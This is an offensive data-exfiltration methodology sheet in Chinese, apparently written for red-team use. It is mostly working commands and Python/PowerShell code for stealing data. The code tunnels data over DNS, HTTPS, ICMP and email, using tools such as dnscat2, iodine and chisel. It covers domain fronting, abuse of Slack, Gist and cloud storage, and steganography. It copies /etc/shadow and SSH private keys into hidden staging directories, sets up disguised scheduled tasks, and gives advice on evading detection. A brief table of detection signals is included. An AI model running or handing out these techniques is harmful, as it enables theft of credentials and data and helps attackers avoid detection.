offensive-data-exfiltration

数据窃取——进攻方法论

快速工作流

1. 盘点目标数据。 梳理文件、数据库和凭据。评估数据量和分类。
2. 暂存。 复制到受控目录。删除不必要的元数据并去重。
3. 压缩并拆分。 使用 tar/zip 压缩，然后按所用通道拆分（DNS < 253 字节/标签；HTTPS 可容纳 MB 级数据）。
4. 加密。 使用 AES-256-GCM 或 ChaCha20 加密每个数据块。切勿以明文形式窃取数据。
5. 选择通道。 DNS（仅开放端口 53）、HTTPS（允许 Web 流量）、ICMP（允许 ping）、云（可访问 SaaS）。
6. 传输。 为隐蔽起见缓慢滴流；时间窗口较短时则突发传输。使流量速率与基线相符。
7. 验证接收情况。 在接收端重新计算 SHA-256，并与源清单进行比对。
8. 清理。 安全删除暂存文件、临时文件、投放的工具和任何计划任务。

---

DNS 数据窃取

MITRE：T1048.003——通过替代协议窃取数据：DNS

dnscat2

# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret

# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret

# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow

# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret

iodine 隧道

# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com

# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc [email protected]:/loot/

dns2tcp

# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf

# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 [email protected]

TXT/CNAME 记录编码

import base64, dns.resolver

def dns_exfil(data, domain, chunk_size=60):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
        try: dns.resolver.resolve(query, "TXT")
        except Exception: pass  # data is in the query itself

DNS 缓慢滴流

import random, time, base64, dns.resolver

def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
    encoded = base64.b32encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), 60)):
        query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
        try: dns.resolver.resolve(query, "A")
        except Exception: pass
        time.sleep(random.uniform(min_delay, max_delay))

PacketWhisper 无需拥有服务器即可通过 DNS 窃取数据——将数据编码为从 PCAP 捕获的查询：python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1。

---

HTTPS 隧道

MITRE：T1041——通过 C2 通道窃取数据；T1071.001——Web 协议

stunnel

服务端将端口 8080 上的监听器封装在 443 端口的 TLS 中。客户端：stunnel -c -d 127.0.0.1:9090 -r attacker.com:443，然后执行 cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090。

通过 CDN 进行域前置

# Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server
curl -s -H "Host: your-collection.azureedge.net" \
    --data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload

# chisel full tunnel behind CDN
chisel server --port 443 --reverse --auth user:pass  # server side
chisel client --header "Host: your-collection.azureedge.net" \
    https://legitimate-cdn-domain.com R:socks         # client side

滥用合法服务

# Slack webhook
curl -X POST -H 'Content-type: application/json' \
    --data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \
    https://hooks.slack.com/services/T00/B00/XXX

# GitHub Gist -- private gist per chunk
import requests, base64
def gist_exfil(data, token):
    requests.post("https://api.github.com/gists",
        json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}},
        headers={"Authorization": f"token {token}"})

# Pastebin API from Windows
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
    api_dev_key="KEY"; api_option="paste"; api_paste_code=$data; api_paste_private="2"}

---

ICMP 隧道

MITRE：T1048.003——非应用层协议

icmpsh

# Attacker
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py attacker_ip target_ip

目标端（Windows）：icmpsh.exe -t attacker_ip -d 500 -b 30 -s 128

ptunnel-ng

ptunnel-ng -r0.0.0.0 -R22                              # server (attacker)
ptunnel-ng -p attacker_ip -l 2222 -r 127.0.0.1 -R 22   # client (target)
scp -P 2222 /tmp/staged.tar.enc [email protected]:/loot/

原始 ICMP 嵌入

import struct, socket

def icmp_exfil(data, dest_ip, chunk_size=48):
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    for seq, i in enumerate(range(0, len(data), chunk_size)):
        chunk = data[i:i+chunk_size]
        hdr = struct.pack("!BBHHH", 8, 0, 0, 0x1337, seq)
        pkt = hdr + chunk
        s = sum(struct.unpack("!%dH" % (len(pkt)//2), pkt[:len(pkt)&~1]))
        if len(pkt) % 2: s += pkt[-1] << 8
        s = (s >> 16) + (s & 0xFFFF); s += s >> 16
        hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, 0x1337, seq)
        sock.sendto(hdr + chunk, (dest_ip, 0))
    sock.close()

将负载控制在 64 字节以内，以匹配标准 ping。更大的负载可以提高吞吐量，但会触发 IDS。

---

云存储死信投递点

MITRE：T1567.002——向云存储窃取数据

S3 预签名 URL

import boto3
def s3_upload_url(bucket, key, expiry=3600):
    return boto3.client("s3").generate_presigned_url(
        "put_object", Params={"Bucket": bucket, "Key": key}, ExpiresIn=expiry)

curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."

Azure Blob SAS 令牌

$ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "..."
$sas = New-AzStorageBlobSASToken -Container "drops" -Blob "d.enc" -Permission w `
    -ExpiryTime (Get-Date).AddHours(2) -Context $ctx
Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" `
    -Method PUT -Headers @{"x-ms-blob-type"="BlockBlob"} -InFile "C:\staged\data.enc"

GCS 签名 URL

from google.cloud import storage
import datetime
def gcs_upload_url(bucket_name, blob_name, minutes=60):
    blob = storage.Client().bucket(bucket_name).blob(blob_name)
    return blob.generate_signed_url(version="v4", method="PUT",
        expiration=datetime.timedelta(minutes=minutes), content_type="application/octet-stream")

预签名 URL 无需目标端提供凭据。每次投递后更换存储桶。

---

基于电子邮件的数据窃取

MITRE：T1048.002——非 C2 协议上的非对称加密

SMTP

import smtplib
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email import encoders

def smtp_exfil(filepath, server, from_addr, to_addr, password):
    msg = MIMEMultipart(); msg["From"]=from_addr; msg["To"]=to_addr; msg["Subject"]="Q3 Report"
    with open(filepath, "rb") as f:
        part = MIMEBase("application", "octet-stream"); part.set_payload(f.read())
    encoders.encode_base64(part)
    part.add_header("Content-Disposition", "attachment; filename=report.xlsx")
    msg.attach(part)
    with smtplib.SMTP_SSL(server, 465) as s: s.login(from_addr, password); s.send_message(msg)

Exchange Web Services

from exchangelib import Credentials, Account, FileAttachment, Message
def ews_exfil(filepath, email, password, recipient):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    with open(filepath, "rb") as f:
        att = FileAttachment(name="data.xlsx", content=f.read())
    m = Message(account=account, subject="Updated Spreadsheet", to_recipients=[recipient])
    m.attach(att); m.send()

草稿方法

将数据存入草稿——不会有电子邮件经过网络，也不会留下已发送邮件的证据：

from exchangelib import Account, Credentials, Message
def draft_exfil(data_b64, email, password):
    account = Account(email, credentials=Credentials(email, password), autodiscover=True)
    Message(account=account, subject="", body=data_b64, is_draft=True).save(account.drafts)

---

隐写术

MITRE：T1001.002——数据混淆：隐写术

图像

steghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f    # JPEG/BMP
steghide extract -sf carrier.jpg -p "Pass" -xf out.enc
zsteg carrier.png                                              # PNG analysis
openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Pass"

from PIL import Image
import struct

def lsb_embed(cover_path, data, output_path):
    img = Image.open(cover_path); pixels = list(img.getdata())
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    if len(bits) > len(pixels) * 3: raise ValueError("Payload too large")
    idx = 0; new_pixels = []
    for px in pixels:
        np = list(px)
        for c in range(min(3, len(np))):
            if idx < len(bits): np[c] = (np[c] & 0xFE) | bits[idx]; idx += 1
        new_pixels.append(tuple(np))
    out = Image.new(img.mode, img.size); out.putdata(new_pixels); out.save(output_path)

音频

import wave, struct

def wav_lsb_embed(cover_wav, data, output_wav):
    with wave.open(cover_wav, "rb") as w:
        params = w.getparams(); frames = bytearray(w.readframes(w.getnframes()))
    payload = struct.pack(">I", len(data)) + data
    bits = []
    for byte in payload:
        for i in range(7, -1, -1): bits.append((byte >> i) & 1)
    for i, bit in enumerate(bits): frames[i] = (frames[i] & 0xFE) | bit
    with wave.open(output_wav, "wb") as w: w.setparams(params); w.writeframes(bytes(frames))

文档元数据

exiftool -Comment="$(base64 secret.enc)" carrier.jpg          # EXIF embed
cat carrier.jpg secret.enc > output.jpg                        # append after FFD9

from PyPDF2 import PdfReader, PdfWriter
def pdf_metadata_exfil(pdf_path, data_b64, output_path):
    reader = PdfReader(pdf_path); writer = PdfWriter()
    for page in reader.pages: writer.add_page(page)
    chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)]
    writer.add_metadata({f"/Custom{i:04d}": c for i, c in enumerate(chunks)})
    with open(output_path, "wb") as f: writer.write(f)

---

编码和加密

Base64 / Hex / Base32 分块

base64 -w0 staged.tar.gz | fold -w 60 > /tmp/chunks.txt      # base64 chunks
xxd -p staged.enc > staged.hex                                 # hex for DNS labels
python3 -c "import base64; print(base64.b32encode(open('staged.enc','rb').read()).decode())"

XOR

def xor_encrypt(data, key):
    kb = key.encode() if isinstance(key, str) else key
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))

AES-256-GCM

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib

def aes_encrypt_file(infile, outfile, password):
    salt = get_random_bytes(16)
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), salt, 100000)
    cipher = AES.new(key, AES.MODE_GCM)
    with open(infile, "rb") as f: pt = f.read()
    ct, tag = cipher.encrypt_and_digest(pt)
    with open(outfile, "wb") as f: f.write(salt + cipher.nonce + tag + ct)

def aes_decrypt_file(infile, outfile, password):
    with open(infile, "rb") as f: d = f.read()
    key = hashlib.pbkdf2_hmac("sha256", password.encode(), d[:16], 100000)
    pt = AES.new(key, AES.MODE_GCM, nonce=d[16:32]).decrypt_and_verify(d[48:], d[32:48])
    with open(outfile, "wb") as f: f.write(pt)

openssl enc -aes-256-cbc -salt -pbkdf2 -in data.tar.gz -out data.enc -pass pass:Key

---

隐蔽通道

HTTP 标头编码

import base64, urllib.request

def http_header_exfil(data, url, chunk_size=256):
    encoded = base64.b64encode(data).decode()
    for seq, i in enumerate(range(0, len(encoded), chunk_size)):
        req = urllib.request.Request(url)
        req.add_header("X-Request-ID", f"{seq:06d}")
        req.add_header("X-Correlation-Token", encoded[i:i+chunk_size])
        try: urllib.request.urlopen(req)
        except Exception: pass

chisel SOCKS 隧道

chisel server --port 8443 --reverse --tls-key server.key --tls-cert server.crt
chisel client --header "User-Agent: Mozilla/5.0" https://server:8443 R:9050:socks
curl --socks5 127.0.0.1:9050 -X PUT -T /tmp/staged.enc http://collector/upload

IP ID 字段编码

from scapy.all import IP, TCP, send
def ip_id_exfil(data, dest_ip, port=80):
    for i, byte in enumerate(data):
        send(IP(dst=dest_ip, id=byte)/TCP(dport=port, sport=12345+i, flags="S"), verbose=False)

时序通道

import time, socket

def timing_exfil(data, dest_ip, dest_port, bit_time=0.1):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((dest_ip, dest_port))
    for byte in data:
        for i in range(7, -1, -1):
            bit = (byte >> i) & 1
            time.sleep(bit_time * 2 if bit else bit_time)
            sock.send(b"\x00")
    sock.close()

时序通道：吞吐量为每秒若干比特，几乎无法检测。仅用于密钥和密码。

---

数据暂存

MITRE：T1074.001——本地数据暂存；T1029——计划传输；T1030——数据传输大小限制

Linux 流水线

mkdir -p /tmp/.cache/updates
cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null
tar czf /tmp/.cache/updates/pkg.tar.gz -C /tmp/.cache/updates .
openssl enc -aes-256-cbc -salt -pbkdf2 -in /tmp/.cache/updates/pkg.tar.gz \
    -out /tmp/.cache/updates/pkg.enc -pass pass:EngagementKey
split -b 65536 /tmp/.cache/updates/pkg.enc /tmp/.cache/updates/chunk_
sha256sum /tmp/.cache/updates/chunk_* > /tmp/.cache/updates/manifest.sha256

Windows 流水线

$s = "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\V01"
New-Item -ItemType Directory -Force -Path $s | Out-Null
Copy-Item "C:\Users\*\Documents\*.docx","C:\Users\*\.ssh\*" $s -Force 2>$null
Compress-Archive -Path "$s\*" -DestinationPath "$s\update.zip" -Force
# Encrypt with .NET AES, prepend IV to ciphertext, split into 64KB chunks

计划传输

# Cron -- one chunk every 30 min during business hours
(crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.cache/exfil.sh") | crontab -

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -File C:\staged\exfil.ps1"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) `
    -RepetitionInterval (New-TimeSpan -Minutes 30)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

---

检测 / 防御者视角

技术	检测信号	防御工具
DNS 外传	查询量高、标签过长、熵值高、记录类型异常	被动 DNS、Zeek dns.log、熵评分
HTTPS 隧道	TLS 连接持久、信标行为、JA3 不匹配、SNI/Host 不匹配	TLS 检查、JA3 指纹识别、NetFlow
ICMP 隧道	负载较大、ICMP 流量高、负载数据非标准	IDS 负载规则、Zeek conn.log
云端死信箱	内部主机向陌生云端终端节点发送 PUT 请求	CASB、代理日志、云 API 监控
邮件外传	附件较大或已加密、收件人异常、草稿数量异常	DLP 网关、Exchange 审计日志
隐写术	熵值异常、标记后附加数据、隐写特征	StegExpose、文件雕刻
隐蔽信道	标头异常、时间间隔不规则、协议非标准	DPI、协议异常检测、ML 流量分析

规避说明

• 使 DNS 查询速率与基线相匹配；优先使用 A/AAAA 记录，而非 TXT/NULL 记录。
• 使用与浏览器匹配的 JA3 指纹；curl 的 TLS 特征很明显。
• ICMP 负载保持在 64 字节以内。轮换云存储桶。在流量高峰时段传输。

---

演练速查表

场景	信道	工具	备注
仅开放端口 53	DNS 隧道	iodine, dnscat2	速度慢；采用缓慢滴流以保持隐蔽
可用 DNS，无基础设施	DNS 查询编码	PacketWhisper	无需权威 NS
可访问 Web	HTTPS	chisel, curl	速度最快；与流量混合
域名过滤	域名前置	curl + CDN	CDN 必须支持前置
允许 Ping	ICMP	ptunnel-ng, icmpsh	带宽有限；需要密钥/凭据
可访问云服务	死信箱	S3/Azure/GCS URLs	无需客户端工具
可使用邮件	SMTP/EWS/草稿	smtplib, exchangelib	草稿 = 无已发送证据
内容检查	隐写术 + HTTPS	steghide + curl	载体必须看起来正常
严格监控	时间信道	Custom Python	比特/秒；几乎无法检测
单个文件 < 1MB	DNS TXT	Custom script	无需投放工具
大型数据集 > 1GB	HTTPS 或云服务	chisel, presigned URL	按天分块

外传前检查清单

• 根据 RoE 确认外传在范围内
• 确定出口信道；将数据暂存于不起眼的目录
• 压缩、加密（至少 AES-256），并拆分为适合信道大小的数据块
• 生成 SHA-256 清单；先使用金丝雀文件测试
• 将速率设在检测阈值以下；验证接收情况和完整性
• 安全删除暂存数据和工具；记录外传链路以便写入报告

---

关键参考资料

• MITRE ATT&CK 外传（TA0010）：https://attack.mitre.org/tactics/TA0010/
• T1048, T1041, T1567, T1029, T1030, T1132, T1001
• dnscat2: https://github.com/iagox86/dnscat2
• iodine: https://github.com/yarrick/iodine
• dns2tcp: https://github.com/alex-sector/dns2tcp
• chisel: https://github.com/jpillora/chisel
• ptunnel-ng: https://github.com/lnslbrty/ptunnel-ng
• icmpsh: https://github.com/bdamele/icmpsh
• steghide: https://steghide.sourceforge.net/
• PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper
• OpenStego: https://www.openstego.com/
• zsteg: https://github.com/zed-0xff/zsteg